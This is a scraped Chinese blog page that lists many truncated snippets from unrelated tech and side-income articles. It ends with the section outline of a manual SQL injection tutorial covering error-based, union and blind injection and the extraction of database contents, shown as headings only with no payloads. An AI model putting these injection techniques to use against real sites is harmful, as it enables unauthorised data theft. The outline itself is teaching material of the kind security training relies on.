【Coze搞钱实战】3. 避坑指南：对话流设计中的6个致命错误（真实案例） AI_DL_CODE Coze平台对话流设计客服Bot避坑用户流失封号风险智能客服配置故障修复指南
摘要：对话流设计是智能客服Bot能否落地的核心环节，直接影响用户体验与业务安全。本文基于50+企业Bot部署故障分析，聚焦导致用户流失、投诉甚至封号的6大致命错误：无限循环追问、人工移交超时、敏感词过滤缺失、知识库冲突、未处理否定意图、跨平台适配失败。通过真实案例拆解每个错误的表现形式、技术根因及工业级解决方案，提供可直接复用的Coze配置代码、工作流模板和检测工具。文中包含对话流健康度检测工具使
深入理解 Tomcat Wrapper 原理北漂老男人 Tomcat tomcat java
深入理解TomcatWrapper原理一、引言在Tomcat的分层容器架构中，Wrapper作为最底层的容器，专门负责管理单个Servlet的生命周期及请求分发。每一个Servlet（包括JSP、Filter等）都对应一个Wrapper。Wrapper是Servlet规范与Tomcat容器实现之间的桥梁，直接关系到请求的分发效率、Servlet的加载与重用、安全隔离等。本文将系统剖析Wrapper
MySQL复习题
一.填空题1.关系数据库的标准语言是SQL。2.数据库发展的3个阶段中，数据独立性最高的是阶段数据库系统。3.概念模型中的3种基本联系分别是一对一、一对多和多对多。4.MySQL配置文件的文件名是my.ini或my.cnf。5.在MySQL配置文件中，datadir用于指定数据库文件的保存目录。6.添加IFNOTEXISTS可在创建的数据库已存在时防止程序报错。7.MySQL提供的SHOWCREA
盘点长期可做的副业兼职有哪些？分享7个长期可做的靠谱副业兼职！古楼
副业兼职做什么好呢？适合上班族的6个副业？不少上班族薪资不高，加薪无望，就希望搞副业多挣点钱，不仅能打消下班的空闲时间，还能丰富自己的生活，还能赚点钱补贴家用。那么有什么适合上班族的副业，既不占用上班的时间，又不会消耗太多的精力影响第二天上班。这里我总结了6个适合上班族的副业，提供给大家，希望有所帮助。第一款优惠劵导购平台，零投资，安全可靠高省APP，是2022年推出的平台，0投资，0风险、高省A
你竟然还在用克隆删除？Conda最新版rename命令全攻略！曦紫沐 Python基础知识 conda 虚拟环境管理
文章摘要Conda虚拟环境管理终于迎来革命性升级！本文揭秘Conda4.9+版本新增的rename黑科技，彻底告别传统“克隆+删除”的繁琐操作。从命令解析到实战案例，手把手教你如何安全高效地重命名Python虚拟环境，附带版本检测、环境迁移、故障排查等进阶技巧，助你提升开发效率10倍！一、颠覆认知：Conda居然自带重命名功能？很多开发者仍停留在“Conda无法直接重命名环境”的认知阶段，实际上自
链商拉不到人能赚钱么，谈谈我的看法糖葫芦不甜
链商作为一种新兴的商业形态，往往依赖于用户网络的扩展和交易量的增加来实现价值增长，但这并不意味着没有直接拉新就无法盈利。以下是我对这一问题的几点看法：招合作伙伴↓微信在文章底部。首先，链商能否赚钱，关键在于其是否能提供独特且有价值的产品或服务。如果链商平台能够构建出高效、透明、安全的价值交换体系，解决行业痛点，提升用户体验，那么即使没有大规模的拉新活动，也能通过现有用户的口碑传播和持续使用来产生稳
中原焦点团队党秀丽分享276天，约练268次，5月29日，周五润物无声dang
第十二次课，答疑解惑。1.咨询约练过程中遇到来访者上来就说想处理情绪，可是聊的过程中他又不想具体聊他的情绪怎么产生的，多久了，就是希望用外化技术处理他的情绪，我除了好奇是什么让他希望用外化呢，也用阳谋告诉他，外化前也是需要具体的聊聊这个情绪的，还可以怎么做呢？给他安全感这一块大概怎么做呢？不想具体说有他的道理，聊聊情绪大概是什么事儿？专业的认识，专业度的认可。不带功利心，转介几次的不太好，信任程度
Android GreenDao介绍和Generator生成表对象代码
目录(?)[-]介绍创建工程转载请注明：http://blog.csdn.net/sinat_30276961/article/details/50052109最近无意中发现了GreenDao，然后查看了一些资料后，发现这个数据库框架很适合用，于是乎，查看了官网的api，并自己写了一个小应用总结一下它的使用方法。介绍按照国际惯例，在开篇，总要先介绍一下什么是GreenDao吧。首先需要说明的是Gr
《每日邦哥说》第46说：真正拥有人格魅力的女性人民剛
内心强大的女人，总是很开朗，对于任何事情，都会一笑而过女人最大的底气，是对自己的自信，也是你的安全感一个女人最重要的是活出精彩自我，这样世界才会为你鼓掌猴小邦俱乐部|幸福小家、帮助大家、贡献国家，伙伴们大家好，欢迎收听每日邦哥说，我是邦哥。有一种女人，她们在感情里面容易失去自我，在生活中遇到困难，连还击的资格都没有，做人只能不断妥协，她们大多都没有太强的远见，往往只看到短期的得失。这种女人，其实往
程序员必备：10 个提升代码质量的工具大力出奇迹985 宠物
在软件开发过程中，代码质量对项目的成功起着决定性作用。高质量的代码不仅易于维护和扩展，还能有效降低成本并提升可靠性。本文精心挑选了10个程序员必备工具，助力提升代码质量。这些工具涵盖代码格式化、静态分析、代码审查、测试、性能优化、安全扫描、版本控制、依赖管理、代码生成以及文档生成等多个关键领域。通过使用它们，开发者能够高效地发现并解决代码中的潜在问题，遵循最佳实践，提升代码的可读性、可维护性与安全
你的连接不是专用连接攻击者可能试图从 github.com 窃取你的信息(例如，密码、消息或信用卡)。 --解决办法
我遇到了.检查安全软件或企业防火墙/代理(包括VPN)这个问题，关了就好，我是用来xbox加速github，所以先开在关既可以加速又可以访问这个错误表明你的浏览器（MicrosoftEdge）无法安全地连接到GitHub，因为遇到了证书验证问题（NET::ERR_CERT_AUTHORITY_INVALID）。错误信息明确指出网站使用了HSTS（HTTPStrictTransportSecurit
Spark SQL架构及高级用法 Aurora_NeAr spark sql 架构
SparkSQL架构概述架构核心组件API层（用户接口）输入方式：SQL查询；DataFrame/DatasetAPI。统一性：所有接口最终转换为逻辑计划树（LogicalPlan），进入优化流程。编译器层（Catalyst优化器）核心引擎：基于规则的优化器（Rule-BasedOptimizer,RBO）与成本优化器（Cost-BasedOptimizer,CBO）。处理流程：阶段输入输出关键动
Mac OSX 下的mysql数据库文件存放位置 Bruuuces mysql mac osx 位置存放
之前我的mysql的系统数据库里的表被我玩坏了，万般无奈之下只得删除所有mysql的东西重新构建数据库。按照网上搜到的内容删除后重装发现数据库没有什么变化。于是自己在每个可能存放数据库文件的目录查找，最终确认目录位置如下:使用HomeBrew安装为/usr/local/var/mysql使用官方下载的dmg镜像安装为/usr/local/mysql删除这个目录再重新安装mysql就会重新生成系统数
GitLab 18.2 发布几十项与 DevSecOps 有关的功能，可升级体验【二】极小狐 gitlab 极狐gitlab devsecops devops ci/cd
沿袭我们的月度发布传统，极狐GitLab发布了18.2版本，该版本带来了议题和任务的自定义工作流状态、新的合并请求主页、新的群组概览合规仪表盘、下载安全报告的PDF导出文件、中心化的安全策略管理（Beta）等几十个重点功能的改进。下面是对部分重点功能的详细解读。关于极狐GitLab的安装升级，可以查看官方指导文档。18.2.0容器镜像registry.gitlab.cn/omnibus/gitla
mac os 10.9 mysql_MAC OSX 10.9 apache php mysql 环境配置 AY05 mac os 10.9 mysql
＃终端内运行sudoapachectlstart#启动Apachesudoapachectlrestart#重启Apachesudoapachectlstop#停止Apache＃配置Apachesudovi/private/etc/apache2/httpd.conf#将里面的这一行去掉前面的##LoadModulephp5_modulelibexec/apache2/libphp5.so＃配置P
辗转相处求最大公约数沐刃青蛟 C++漏洞
无言面对”江东父老“了，接触编程一年了，今天发现还不会辗转相除法求最大公约数。惭愧惭愧！为此，总结一下以方便日后忘了好查找。 1.输入要比较的两个数a,b 忽略：2.比较大小（因为后面要的是大的数对小的数做%操作） 3.辗转相除（用循环不停的取余，如a%b,直至b=0） 4.最后的a为两数的最大公约数 &
F5负载均衡会话保持技术及原理技术白皮书 bijian1013 F5 负载均衡
一.什么是会话保持？在大多数电子商务的应用系统或者需要进行用户身份认证的在线系统中，一个客户与服务器经常经过好几次的交互过程才能完成一笔交易或者是一个请求的完成。由于这几次交互过程是密切相关的，服务器在进行这些交互过程的某一个交互步骤时，往往需要了解上一次交互过程的处理结果，或者上几步的交互过程结果，服务器进行下
Object.equals方法：重载还是覆盖 Cwind java generics override overload
本文译自StackOverflow上对此问题的讨论。原问题链接在阅读Joshua Bloch的《Effective Java（第二版）》第8条“覆盖equals时请遵守通用约定”时对如下论述有疑问： “不要将equals声明中的Object对象替换为其他的类型。程序员编写出下面这样的equals方法并不鲜见，这会使程序员花上数个小时都搞不清它为什么不能正常工作：” pu
初始线程 15700786134
暑假学习的第一课是讲线程，任务是是界面上的一条线运动起来。既然是在界面上，那必定得先有一个界面，所以第一步就是，自己的类继承JAVA中的JFrame，在新建的类中写一个界面，代码如下： public class ShapeFr
Linux的tcpdump 被触发 tcpdump
用简单的话来定义tcpdump，就是：dump the traffic on a network，根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息。实用命令实例默认启动 tcpdump 普通情况下，直
安卓程序listview优化后还是卡顿肆无忌惮_ ListView
最近用eclipse开发一个安卓app，listview使用baseadapter，里面有一个ImageView和两个TextView。使用了Holder内部类进行优化了还是很卡顿。后来发现是图片资源的问题。把一张分辨率高的图片放在了drawable-mdpi文件夹下，当我在每个item中显示，他都要进行缩放，导致很卡顿。解决办法是把这个高分辨率图片放到drawable-xxhdpi下。 &nb
扩展easyUI tab控件，添加加载遮罩效果知了ing jquery
(function () { $.extend($.fn.tabs.methods, { //显示遮罩 loading: function (jq, msg) { return jq.each(function () { var panel = $(this).tabs(&
gradle上传jar到nexus 矮蛋蛋 gradle
原文地址： https://docs.gradle.org/current/userguide/maven_plugin.html configurations { deployerJars } dependencies { deployerJars "org.apache.maven.wagon
千万条数据外网导入数据库的解决方案。 alleni123 sql mysql
从某网上爬了数千万的数据，存在文本中。然后要导入mysql数据库。悲剧的是数据库和我存数据的服务器不在一个内网里面。。 ping了一下， 19ms的延迟。于是下面的代码是没用的。 ps = con.prepareStatement(sql); ps.setString(1, info.getYear())............; ps.exec
JAVA IO InputStreamReader和OutputStreamReader 百合不是茶 JAVA.io操作字符流
这是第三篇关于java.io的文章了，从开始对io的不了解-->熟悉--->模糊，是这几天来对文件操作中最大的感受，本来自己认为的熟悉了的，刚刚在回想起前面学的好像又不是很清晰了，模糊对我现在或许是最好的鼓励我会更加的去学加油！： JAVA的API提供了另外一种数据保存途径，使用字符流来保存的，字符流只能保存字符形式的流字节流和字符的难点：a,怎么将读到的数据
MO、MT解读 bijian1013 GSM
MO= Mobile originate，上行，即用户上发给SP的信息。MT= Mobile Terminate，下行，即SP端下发给用户的信息；上行:mo提交短信到短信中心下行:mt短信中心向特定的用户转发短信，你的短信是这样的，你所提交的短信，投递的地址是短信中心。短信中心收到你的短信后，存储转发，转发的时候就会根据你填写的接收方号码寻找路由，下发。在彩信领域是一样的道理。下行业务：由SP
五个JavaScript基础问题 bijian1013 JavaScript call apply this Hoisting
下面是五个关于前端相关的基础问题，但却很能体现JavaScript的基本功底。问题1：Scope作用范围考虑下面的代码： (function() { var a = b = 5; })(); console.log(b); 什么会被打印在控制台上？回答：上面的代码会打印 5。 &nbs
【Thrift二】Thrift Hello World bit1129 Hello world
本篇，不考虑细节问题和为什么，先照葫芦画瓢写一个Thrift版本的Hello World，了解Thrift RPC服务开发的基本流程 1. 在Intellij中创建一个Maven模块，加入对Thrift的依赖，同时还要加上slf4j依赖，如果不加slf4j依赖，在后面启动Thrift Server时会报错 <dependency>
【Avro一】Avro入门 bit1129 入门
本文的目的主要是总结下基于Avro Schema代码生成，然后进行序列化和反序列化开发的基本流程。需要指出的是，Avro并不要求一定得根据Schema文件生成代码，这对于动态类型语言很有用。 1. 添加Maven依赖 <?xml version="1.0" encoding="UTF-8"?> <proj
安装nginx+ngx_lua支持WAF防护功能 ronin47
需要的软件:LuaJIT-2.0.0.tar.gz nginx-1.4.4.tar.gz &nb
java-5.查找最小的K个元素-使用最大堆 bylijinnan java
import java.util.Arrays; import java.util.Random; public class MinKElement { /** * 5.最小的K个元素 * I would like to use MaxHeap. * using QuickSort is also OK */ public static void
TCP的TIME-WAIT bylijinnan socket
原文连接： http://vincent.bernat.im/en/blog/2014-tcp-time-wait-state-linux.html 以下为对原文的阅读笔记说明：主动关闭的一方称为local end，被动关闭的一方称为remote end 本地IP、本地端口、远端IP、远端端口这一“四元组”称为quadruplet，也称为socket 1、TIME_WA
jquery ajax 序列化表单 coder_xpf Jquery ajax 序列化
checkbox 如果不设定值，默认选中值为on；设定值之后，选中则为设定的值 <input type="checkbox" name="favor" id="favor" checked="checked"/> $("#favor&quo
Apache集群乱码和最高并发控制 cuisuqiang apache tomcat 并发集群乱码
都知道如果使用Http访问，那么在Connector中增加URIEncoding即可，其实使用AJP时也一样，增加useBodyEncodingForURI和URIEncoding即可。最大连接数也是一样的，增加maxThreads属性即可，如下，配置如下： <Connector maxThreads="300" port="8019" prot
websocket dalan_123 websocket
一、低延迟的客户端-服务器和服务器-客户端的连接很多时候所谓的http的请求、响应的模式，都是客户端加载一个网页，直到用户在进行下一次点击的时候，什么都不会发生。并且所有的http的通信都是客户端控制的，这时候就需要用户的互动或定期轮训的，以便从服务器端加载新的数据。通常采用的技术比如推送和comet（使用http长连接、无需安装浏览器安装插件的两种方式：基于ajax的长
菜鸟分析网络执法官 dcj3sjt126com 网络
最近在论坛上看到很多贴子在讨论网络执法官的问题。菜鸟我正好知道这回事情.人道"人之患好为人师" 手里忍不住,就写点东西吧. 我也很忙.又没有MM,又没有MONEY....晕倒有点跑题. OK,闲话少说,切如正题. 要了解网络执法官的原理. 就要先了解局域网的通信的原理. 前面我们看到了.在以太网上传输的都是具有以太网头的数据包.
Android相对布局属性全集 dcj3sjt126com android
RelativeLayout布局android:layout_marginTop="25dip" //顶部距离android:gravity="left" //空间布局位置android:layout_marginLeft="15dip //距离左边距 // 相对于给定ID控件android:layout_above 将该控件的底部置于给定ID的
Tomcat内存设置详解 eksliang jvm tomcat tomcat内存设置
Java内存溢出详解一、常见的Java内存溢出有以下三种： 1. java.lang.OutOfMemoryError: Java heap space ----JVM Heap（堆）溢出JVM在启动的时候会自动设置JVM Heap的值，其初始空间(即-Xms)是物理内存的1/64，最大空间(-Xmx)不可超过物理内存。可以利用JVM提
Java6 JVM参数选项 greatwqs java HotSpot jvm jvm参数 JVM Options
Java 6 JVM参数选项大全（中文版）作者：Ken Wu Email: [email protected] 转载本文档请注明原文链接 http://kenwublog.com/docs/java6-jvm-options-chinese-edition.htm！本文是基于最新的SUN官方文档Java SE 6 Hotspot VM Opt
weblogic创建JMC i5land weblogic jms
进入 weblogic控制太 1.创建持久化存储 --Services--Persistant Stores--new--Create FileStores--name随便起--target默认--Directory写入在本机建立的文件夹的路径--ok 2.创建JMS服务器 --Services--Messaging--JMS Servers--new--name随便起--Pers
基于 DHT 网络的磁力链接和BT种子的搜索引擎架构 justjavac DHT
上周开发了一个磁力链接和 BT 种子的搜索引擎 {Magnet & Torrent}，本文简单介绍一下主要的系统功能和用到的技术。系统包括几个独立的部分：使用 Python 的 Scrapy 框架开发的网络爬虫，用来爬取磁力链接和种子；使用 PHP CI 框架开发的简易网站；搜索引擎目前直接使用的 MySQL，将来可以考虑使
sql添加、删除表中的列 macroli sql
添加没有默认值：alter table Test add BazaarType char(1) 有默认值的添加列：alter table Test add BazaarType char(1) default(0) 删除没有默认值的列：alter table Test drop COLUMN BazaarType 删除有默认值的列：先删除约束（默认值）alter table Test DRO
PHP中二维数组的排序方法 abc123456789cba 排序二维数组 PHP
<?php/*** @package BugFree* @version $Id: FunctionsMain.inc.php,v 1.32 2005/09/24 11:38:37 wwccss Exp $*** Sort an two-dimension array by some level
hive优化之------控制hive任务中的map数和reduce数 superlxw1234 hive hive优化
一、控制hive任务中的map数: 1. 通常情况下，作业会通过input的目录产生一个或者多个map任务。主要的决定因素有： input的文件总个数，input的文件大小，集群设置的文件块大小(目前为128M, 可在hive中通过set dfs.block.size;命令查看到，该参数不能自定义修改)；2.
Spring Boot 1.2.4 发布 wiselyman spring boot
Spring Boot 1.2.4已于6.4日发布，repo.spring.io and Maven Central可以下载(推荐使用maven或者gradle构建下载)。这是一个维护版本，包含了一些修复small number of fixes,建议所有的用户升级。 Spring Boot 1.3的第一个里程碑版本将在几天后发布，包含许多

SQL注入从入门到入狱：万字长文带你领略手工注入的魅力

一、SQL注入必备函数速览

二、基础知识：MySQL 内置数据库

1. information_schema（元数据存储库）

2. mysql（用户与权限管理）

3. performance_schema（性能监控）

4. sys（简化性能监控）

三、手工注入的三大核心技术详解

1. 报错注入：利用报错信息挖掘数据

步骤1：确认注入点是否存在

步骤2：触发报错并验证回显

步骤3：利用报错函数提取数据

方法1：使用EXTRACTVALUE

方法2：使用UPDATEXML

方法3：使用FLOOR结合RAND（仅适用于特定版本）

步骤4：提取基本数据库信息

步骤5：枚举数据库结构

步骤6：提取表中数据

步骤7：优化与绕过

注意事项

实战演练

2. 联合注入：拼接查询结果

步骤1：确认注入点是否存在

步骤2：确定后端查询的列数

步骤3：构造基础联合查询并确保返回空结果

步骤4：确定页面可显示的列

步骤5：提取基本数据库信息

步骤6：枚举数据库结构

步骤7：提取表中数据

步骤8：高级应用（可选）

注意事项

实战演练

3. 盲注：无声中取胜

步骤1：确认注入点是否存在

步骤2：选择盲注类型

布尔盲注（Boolean-based Blind SQL Injection）

步骤3：验证布尔盲注可行性

步骤4：逐字符推断数据

获取数据库名

枚举表名

提取列名和数据

步骤5：自动化优化

时间盲注（Time-based Blind SQL Injection）

步骤3：验证时间盲注可行性

步骤4：逐字符推断数据

获取数据库名

枚举表名

提取数据

步骤5：自动化优化

注意事项

实战演练

布尔盲注演练

时间盲注演练

四、总结

你可能感兴趣的:(sql,数据库,网络安全,渗透测试,安全)

1. `information_schema`（元数据存储库）

2. `mysql`（用户与权限管理）

3. `performance_schema`（性能监控）

4. `sys`（简化性能监控）

方法1：使用`EXTRACTVALUE`

方法2：使用`UPDATEXML`

方法3：使用`FLOOR`结合`RAND`（仅适用于特定版本）